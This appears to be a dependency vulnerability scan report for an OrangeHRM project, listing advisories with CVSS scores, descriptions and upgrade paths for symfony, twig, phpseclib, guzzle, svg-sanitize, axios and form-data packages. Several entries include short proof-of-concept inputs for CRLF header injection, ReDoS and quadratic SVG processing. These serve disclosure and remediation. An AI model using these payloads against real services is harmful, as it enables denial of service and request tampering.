phpseclib/phpseclib is a PHP Secure Communications Library - Pure-PHP implementations of RSA, AES, SSH2, SFTP, X.509 etc.

Affected versions of this package are vulnerable to Timing Attack the pure-PHP X25519 scalar multiplication in Crypt/EC/Formats/Keys/MontgomeryPrivate.php, Crypt/EC/Formats/Keys/PKCS8.php, and Math/PrimeField/Integer.php. An attacker can recover the long-lived X25519 private scalar by measuring per-ladder-step execution time or counting GMP calls while the code multiplies the base point during Montgomery key derivation. The leak comes from data-dependent conditional modular reduction in PrimeField\Integer::add() and subtract(), which makes each ladder step's cost depend on secret-scalar-dependent field values. In deployments that use phpseclib's pure-PHP Curve25519 path, this exposes the private key used for ECDH and compromises any shared secret derived from it.
Remediation
Upgrade phpseclib/phpseclib to version 3.0.57, 4.0.1 or higher.
References
- GitHub Commit
- Maintainer's Advisory

References

• GitHub Commit
• Maintainer's Advisory

HIGH

Uncontrolled Recursion

Package: **symfony/yaml 5.4.45**

CVSS 8.7	CVE-2026-45133	CWE-674	SNYK-PHP-SYMFONYYAML-16797942	Exploit: Not Defined

Fixed in 5.4.52, 6.4.40, 7.4.12, 8.0.12

Introduced through `orangehrm/orangehrm@0.0.0 → symfony/yaml@5.4.45`

Security information

Version	Score	Severity	Vector
CVSS 4.0	8.7	High	`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N`
CVSS 3.1	7.5	High	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`

Overview

Affected versions of this package are vulnerable to Uncontrolled Recursion via Unbounded Recursion in Nested Blocks, Sequences, and Mappings. Symfony\Component\Yaml\Parser is the entry point for parsing YAML strings into PHP values via Yaml::parse(). When the parser is exposed to attacker-controlled input, deeply nested mappings or sequences cause both the block-level (Parser::parseBlock()) and inline (Inline::parseSequence() / Inline::parseMapping()) parsers to recurse without a depth limit. A crafted document exhausts the PHP stack and crashes the worker.
Remediation
Upgrade symfony/yaml to version 5.4.52, 6.4.40, 7.4.12, 8.0.12 or higher.
References
- GitHub Commit
- Symfony Advisory

References

• GitHub Commit
• Symfony Advisory

HIGH

Inefficient Algorithmic Complexity

Package: **enshrined/svg-sanitize 0.22.0**

CVSS 8.7	CVE-2026-117540	CWE-407	SNYK-PHP-ENSHRINEDSVGSANITIZE-22193078	Exploit: Proof of Concept

Fixed in 1.1.0

Introduced through `orangehrm/orangehrm@0.0.0 → enshrined/svg-sanitize@0.22.0`

Security information

Version	Score	Severity	Vector
CVSS 4.0	8.7	High	`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P`
CVSS 3.1	7.5	High	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P`
CVSS 3.1	7.5	High	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`

Overview

enshrined/svg-sanitize is a SVG sanitizer for PHP

Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity via a quadratic-complexity code path in the sanitize() function when processing SVG input containing repeated PHP processing-instruction sequences. An attacker can submit a few-hundred-kilobyte upload that causes processing time to scale quadratically with input size, tying up a worker for tens of seconds and exhausting the worker pool with a handful of concurrent requests.

PoC

text

Generator emits strrepeat('<?p', N) . '<?phpX?>' . strrepeat('hpY?>', N) followed by a valid <svg>:

Measured end-to-end sanitize() time (default config):

input size	time
32 KB	0.16 s
64 KB	0.65 s
128 KB	2.48 s
256 KB	9.96 s
384 KB	22.2 s

Doubling the input ~quadruples the time — textbook quadratic. A few-hundred-KB upload ties up a worker for tens of seconds; a few MB scales to minutes (input length is not bounded by the library, and because this is pre-parse string work, allowHugeFiles is irrelevant). A handful of concurrent requests exhausts the worker pool. No auth, no interaction, default config.

Note: The PoC states no specific environment, operating system, or non-default configuration.

Remediation

Upgrade enshrined/svg-sanitize to version 1.1.0 or higher.

References

- GitHub Advisory
- GitHub Commit

References

- GitHub Advisory
- GitHub Commit

HIGH

Regular Expression Denial of Service (ReDoS)

Package: **symfony/http-foundation 5.4.48**

CVSS 8.7 | CVE-2026-108082 | CWE-1333 | SNYK-PHP-SYMFONYHTTPFOUNDATION-21203763 | Exploit: Not Defined

Fixed in 5.4.54, 6.4.46, 7.4.19, 8.1.7

Introduced through `orangehrm/orangehrm@0.0.0 → symfony/http-foundation@5.4.48`

Security information

Version	Score	Severity	Vector
CVSS 4.0	8.7	High	`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N`
CVSS 3.1	7.5	High	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`

Overview

symfony/http-foundation is a component defines an object-oriented layer for the HTTP specification.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via HeaderUtils::split() in HeaderUtils.php, which uses a regular expression containing an ambiguous token class that matches whitespace alongside a trailing negative lookbehind (?<!\s). A run of N whitespace characters placed before a separator can be partitioned among the iterations of the enclosing + quantifier in 2^N ways, all matching the same text, causing exponential backtracking. Because HeaderBag::set() calls HeaderUtils::split() for the Cache-Control header on every Request construction, an attacker can trigger this by sending an HTTP request with a Cache-Control header containing a long run of whitespace, causing the PHP regex engine to exhaust its backtracking limit and crash the request handler.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:
js
regex = /A(B|C+)+D/

This regular expression accomplishes the following:
- A The string must start with the letter 'A'
- (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
- D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

bash
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
1. CCC
2. CC+C
3. C+CC
4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String	Number of C's	Number of steps
ACCCX	3	38
ACCCCX	4	71
ACCCCCX	5	136
ACCCCCCCCCCCCCCX	14	65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation
Upgrade symfony/http-foundation to version 5.4.54, 6.4.46, 7.4.19, 8.1.7 or higher.
References
- GitHub Advisory
- GitHub PR
- GitHub PR
- [Symfony Blog](https://symfony.com/blog/cve-2026-108082-redos-in-headerut

References

- GitHub Advisory
- GitHub PR
- GitHub PR
- Symfony Blog

HIGH

Incorrect Regular Expression

Package: **symfony/routing 5.4.48**

CVSS 7	CVE-2026-45065	CWE-185	SNYK-PHP-SYMFONYROUTING-16799802	Exploit: Not Defined

Fixed in 5.4.52, 6.4.40, 7.4.12, 8.0.12

Introduced through `orangehrm/orangehrm@0.0.0 → symfony/routing@5.4.48`

Security information

Version	Score	Severity	Vector
CVSS 4.0	7	High	`CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N`
CVSS 3.1	8.7	High	`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N`

Overview

Affected versions of this package are vulnerable to Incorrect Regular Expression in the route URL requirements when a requirement is set as an alternation (such as locale: 'ar|bg|...|vi|...|zhCN'). An attacker can bypass security redirect restrictions by suppling a URL that passes any but the first and the last alternatives since they are the only ones anchored by ^ and $ in UrlGenerator constructed pattern '^'.$req.'$'.
Remediation
Upgrade symfony/routing to version 5.4.52, 6.4.40, 7.4.12, 8.0.12 or higher.
References
- GitHub Commit
- GitHub Commit
- Symfony Advisory

References

- GitHub Commit
- GitHub Commit
- Symfony Advisory

HIGH

Uncontrolled Recursion

Package: **symfony/yaml 5.4.45**

CVSS 8.7	CVE-2026-109413	CWE-674	SNYK-PHP-SYMFONYYAML-21203849	Exploit: Not Defined

Fixed in 5.4.54, 6.4.45, 7.4.16, 8.1.6

Introduced through `orangehrm/orangehrm@0.0.0 → symfony/yaml@5.4.45`

Security information

Version	Score	Severity	Vector
CVSS 4.0	8.7	High	`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N`
CVSS 3.1	7.5	High	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`

Overview

Affected versions of this package are vulnerable to Uncontrolled Recursion via Parser::lexInlineStructure(), which recurses through lexInlineMapping() and lexInlineSequence() without incrementing the shared nesting-level counter that guards against excessive depth. Because the maxNestingLevel guard is only checked after the lexer returns, a deeply nested inline YAML document (e.g. thousands of nested { or characters) exhausts available memory inside the lexer before the guard is ever reached, causing the process to crash. The fix enters and leaves the shared nesting level at the boundary of lexInlineStructure(), so the existing maximum-nesting-depth error is raised consistently for both block and inline structures.
Remediation
Upgrade symfony/yaml to version 5.4.54, 6.4.45, 7.4.16, 8.1.6 or higher.
References
- [GitHub Advisory
- GitHub PR
- Symfony Blog

References

- GitHub Advisory
- GitHub PR
- Symfony Blog

HIGH

Incorrect Authorization

Package: **twig/twig 3.11.3**

CVSS 8.7	CVE-2026-49981	CWE-863, CWE-693	SNYK-PHP-TWIGTWIG-17756834	Exploit: Not Defined

Fixed in 3.27.0

Introduced through `orangehrm/orangehrm@0.0.0 → twig/twig@3.11.3`

Security information

Version	Score	Severity	Vector
CVSS 4.0	8.7	High	`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N`
CVSS 3.1	7.5	High	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N`
CVSS 3.1	8.2	High	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N`

Overview

twig/twig is a flexible, fast, and secure template language for PHP.

Affected versions of this package are vulnerable to Incorrect Authorization in the checkSecurity process. An attacker can execute unauthorized filters, tags, or functions by manipulating the sandbox state between renders, causing cached templates to bypass current security policies.
Remediation
Upgrade twig/twig to version 3.27.0 or higher.
References
- GitHub Advisory
- GitHub Commit
- GitHub Release

References

- GitHub Advisory
- GitHub Commit
- GitHub Release

HIGH

Timing Attack

Package: **phpseclib/phpseclib 3.0.37**

CVSS 8.2	CVE-2026-32935	CWE-208	SNYK-PHP-PHPSECLIBPHPSECLIB-15701264	Exploit: Not Defined

Fixed in 1.0.27, 2.0.52, 3.0.50

Introduced through `orangehrm/orangehrm@0.0.0 → phpseclib/phpseclib@3.0.37`

Security information

Version	Score	Severity	Vector
CVSS 4.0	8.2	High	`CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`
CVSS 3.1	5.9	Medium	`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N`
CVSS 3.1	5.9	Medium	`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N`

Overview

phpseclib/phpseclib is a PHP Secure Communications Library - Pure-PHP implementations of RSA, AES, SSH2, SFTP, X.509 etc.

Affected versions of this package are vulnerable to Timing Attack via the AES algorithm in CBC mode. An attacker can recover sensitive information by exploiting timing differences during decryption operations.

Workaround

This issue can be mitigated by using AES in CTR, CFB or OFB modes.

Remediation

Upgrade phpseclib/phpseclib to version 1.0.27, 2.0.52, 3.0.50 or higher.

References

- GitHub Advisory
- GitHub Commit

References

- GitHub Advisory
- GitHub Commit

HIGH

Denial of Service (DoS)

Package: **enshrined/svg-sanitize 0.22.0**

CVSS 7.1	CVE-2026-107381	CWE-178, CWE-400	SNYK-PHP-ENSHRINEDSVGSANITIZE-21204195	Exploit: Not Defined

Fixed in 1.0.0

Introduced through `orangehrm/orangehrm@0.0.0 → enshrined/svg-sanitize@0.22.0`

Security information

Version	Score	Severity	Vector
CVSS 4.0	7.1	High	`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N`
CVSS 3.1	6.5	Medium	`CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H`

Overview

enshrined/svg-sanitize is a SVG sanitizer for PHP

Affected versions of this package are vulnerable to Denial of Service (DoS) through improper case-sensitive handling of attribute names in the processReferences process. An attacker can cause excessive resource consumption by submitting an SVG file containing mixed-case xlink:HrEf attributes, which bypasses the intended nesting limit checks.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

* High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

* Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade enshrined/svg-sanitize to version 1.0.0 or higher.

References

- GitHub Advisory
- GitHub Commit
- GitHub Release

References

- GitHub Advisory
- GitHub Commit
- GitHub Release

HIGH

Incorrect Authorization

Package: **twig/twig 3.11.3**

CVSS 8.9	CVE-2026-24425	CWE-863	SNYK-PHP-TWIGTWIG-16776817	Exploit: Not Defined

Fixed in 3.26.0

Introduced through `orangehrm/orangehrm@0.0.0 → twig/twig@3.11.3`

Security information

Version	Score	Severity	Vector
CVSS 4.0	8.9	High	`CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:H`
CVSS 3.1	8.5	High	`CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H`
CVSS 3.1	9.9	Critical	`CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H`

Overview

twig/twig is a flexible, fast, and secure template language for PHP.

Affected versions of this package are vulnerable to Incorrect Authorization via callback validation for the sort, filter, map, and reduce filters when sandboxing is enabled through SourcePolicyInterface. An attacker can bypass the sandbox callback restrictions by supplying arbitrary PHP callables instead of Closure objects, as the runtime sandbox check fails to use the current template Source and can incorrectly treat sandboxed execution as non-sandboxed.

Note: This is only exploitable if all of these conditions are met:

1) Sandbox is not enabled globally.

2) Sandbox is enabled through SourcePolicyInterface.

3) The template uses the sort, filter, map, or reduce filters.

4) The callback is not a Closure.
Remediation
Upgrade twig/twig to version 3.26.0 or higher.
References
- GitHub Commit
- Symfony Advisory

References

- GitHub Commit
- Symfony Advisory

HIGH

Incorrectly Specified Destination in a Communication Channel

Package: **guzzlehttp/guzzle 7.8.1**

CVSS 8.2	CVE-2026-6735 5	CWE-201, CWE-941	SNYK-PHP-GUZZLEHTTPGUZZLE-18306777	Exploit: Not Defined

Fixed in 7.15.1

Introduced through `orangehrm/orangehrm@0.0.0 → guzzlehttp/guzzle@7.8.1`

Security information

Version	Score	Severity	Vector
CVSS 4.0	8.2	High	`CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`
CVSS 3.1	5.9	Medium	`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N`
CVSS 3.1	5.9	Medium	`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N`

Overview

Affected versions of this package are vulnerable to Incorrectly Specified Destination in a Communication Channel via improper handling of host-only cookies in the CookieJar process. An attacker can obtain sensitive information such as session identifiers or authorization tokens by controlling or observing a child host and receiving cookies intended only for the parent host. This is only exploitable if the application enables cookie support, reuses the same built-in cookie jar, receives a host-only cookie from a parent host, and later makes a matching request to a less-trusted child host.

Workaround
This vulnerability can be mitigated by using a separate cookie jar for each host or trust boundary, disabling cookie handling for requests to less-trusted hosts, or avoiding requests to less-trusted subdomains through a client configured with a shared jar.
Remediation
Upgrade guzzlehttp/guzzle to version 7.15.1 or higher.
References
- GitHub Advisory
- GitHub Commit
- GitHub PR
- GitHub Release

References

- GitHub Advisory
- GitHub Commit
- GitHub PR
- GitHub Release

MEDIUM (64)

MEDIUM

CRLF Injection

Package: **axios 1.13.1**

CVSS 6.9	CVE-2026-42037	CWE-93	SNYK-JS-AXIOS-16299819	Exploit: Proof of Concept

Fixed in 1.15.1

Introduced through `orangehrm-installer@1.0.0 → axios@1.13.1`

Security information

Version	Score	Severity	Vector
CVSS 4.0	6.9	Medium	`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N/E:P`
CVSS 3.1	5.8	Medium	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N/E:P`
CVSS 3.1	5.3	Medium	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N`

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to CRLF Injection through the FormDataPart multipart header construction in the form-data streaming helper. An attacker can inject arbitrary multipart headers by supplying a Blob-like value whose type contains \r or \n, causing the generated Content-Type line to break and append attacker-controlled header fields. This lets a crafted upload alter the multipart body sent by the application, which can corrupt downstream request parsing and expose or tamper with data handled by the receiving server.

Remediation

Upgrade axios to version 1.15.1 or higher.

References

- GitHub Commit
- Maintainer's Advisory

References

- GitHub Commit
- Maintainer's Advisory

MEDIUM

Prototype Pollution

Package: **axios 1.13.1**

CVSS 6.3	CVE-2026-44490	CWE-1321	SNYK-JS-AXIOS-17111081	Exploit: Proof of Concept

Fixed in 0.32.0, 1.16.0

Introduced through `orangehrm-installer@1.0.0 → axios@1.13.1`

Security information

Version	Score	Severity	Vector
CVSS 4.0	6.3	Medium	`CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:L/SA:N/E:P`
CVSS 3.1	5.4	Medium	`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:L/E:P`
CVSS 3.1	8.2	High	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H`
CVSS 3.1	4.8	Medium	`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:L`

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Prototype Pollution via polluted Object.prototype properties in the merge process. An attacker can inject arbitrary HTTP headers into outbound requests or cause synchronous application crashes by manipulating upstream dependencies to pollute prototype attributes, leading to header injection or denial of service conditions.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as proto, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

- Unsafe Object recursive merge

- Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

foreach property of source

if property exists and is an object on both the target and the source

merge(target[property], source[property])

else

target[property] = source[property]

When the source object contains a property named proto defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to proto.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type	Origin	Short description
Denial of service (DoS)	Client	This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution	Client	Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection	Client	The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

- Application server

- Web server

- Web browser

How to prevent

1. Freeze the prototype— use Object.freeze (Object.prototype).

2. Require schema validation of JSON input.

3. Avoid using unsafe recursive merge functions.

4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

[Arteau, Olivier. “JavaScript prototype pollution a

References

- GitHub Commit
- GitHub Commit
- Maintainer's Advisory

MEDIUM

CRLF Injection

Package: **form-data 4.0.4**

CVSS 6.9	CVE-2026-12143	CWE-93	SNYK-JS-FORMDATA-17337015	Exploit: Proof of Concept

Fixed in 2.5.6, 3.0.5, 4.0.6

Introduced through `orangehrm-installer@1.0.0 → axios@1.13.1 → form-data@4.0.4`

Security information

Version	Score	Severity	Vector
CVSS 4.0	6.9	Medium	`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N/E:P`
CVSS 3.1	5.8	Medium	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N/E:P`
CVSS 3.1	7.5	High	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N`

Overview

Affected versions of this package are vulnerable to CRLF Injection via the multiPartHeader function when untrusted input is provided via field or filename to FormDataappend. An attacker can inject additional headers or multipart parts by including carriage returns, line feeds, or double quotes in the input. This can allow the modification or addition of form fields visible to downstream parsers.

PoC

js

```
const FormData = require('form-data');
const form = new FormData();
form.append('email"\r\nX-Injected: true\r\nfake="', 'user@example.com');
console.log(form.getBuffer().toString());
```

Remediation

Upgrade form-data to version 2.5.6, 3.0.5, 4.0.6 or higher.

References

- GitHub Commit
- GitHub Commit
- GitHub Commit
- Maintainer's Advisory

References

- GitHub Commit
- GitHub Commit
- GitHub Commit
- Maintainer's Advisory

MEDIUM

Regular Expression Denial of Service (ReDoS)

Package: **axios 1.13.1**

CVSS 6.9	CVE-2026-44496	CWE-1333	SNYK-JS-AXIOS-17172532	Exploit: Proof of Concept

Fixed in 0.32.0, 1.16.0

Introduced through `orangehrm-installer@1.0.0 → axios@1.13.1`

Security information

Version	Score	Severity	Vector
CVSS 4.0	6.9	Medium	`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P`
CVSS 3.1	5.3	Medium	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L/E:P`
CVSS 3.1	7.5	High	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in the read function when attacker-controlled input is used as the cookie name parameter, which is interpolated into a regular expression without proper escaping. An attacker can cause excessive CPU consumption and freeze the browser tab by supplying specially crafted input that triggers catastrophic backtracking in the regex engine.

Note:

This is only exploitable if attacker-controlled data can reach the XSRF cookie name configuration or a direct/unsafe call to the internal cookie helper.

Workaround

This vulnerability can be mitigated by setting the XSRF cookie name configuration to null if XSRF protection is not required, avoiding the use of attacker-controlled input for the cookie name, and validating cookie names against a strict allowlist before passing them to the relevant function.

PoC

js

```
function vulnerableRead(name, cookie) {
const start = Date.now();
try {
cookie.match(new RegExp('(?:^|; )' + name + '=([^;]*)'));
} catch {}
return Date.now() - start;
}
for (const n of [20, 22, 24, 26, 28]) {
const cookie = 'x='.padEnd(n, 'a') + '!';
console.log(${n}: ${vulnerableRead('(.+)+$', cookie)}ms);
}
```

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:
js
regex = /A(B|C+)+D/

This regular expression accomplishes the following:
- A The string must start with the letter 'A'
- (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
- D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

bash
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
1. CCC
2. CC+C
3. C+CC
4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String	Number of C's	Number of steps
ACCCX	3	38
ACCCCX	4	71
ACCCCCX	5	136
ACCCCCCCCCCCCCCX	14	65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of S

References

- GitHub Advisory
- GitHub Commit
- GitHub Release
- GitHub Release

MEDIUM

Allocation of Resources Without Limits or Throttling

Package: **axios 1.13.1**

CVSS 6.9	CVE-2026-44488	CWE-770	SNYK-JS-AXIOS-17172751	Exploit: Proof of Concept

Fixed in 1.16.0

Introduced through `orangehrm-installer@1.0.0 → axios@1.13.1`

Security information

Version	Score	Severity	Vector
CVSS 4.0	6.9	Medium	`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P`
CVSS 3.1	5.3	Medium	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L/E:P`
CVSS 3.1	7.5	High	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the fetch adapter when finite size limits are configured but not enforced. An attacker can exhaust server resources by sending or receiving oversized request or response bodies, such as through large data: URLs or attacker-controlled uploads, bypassing the intended boundaries.

Note:

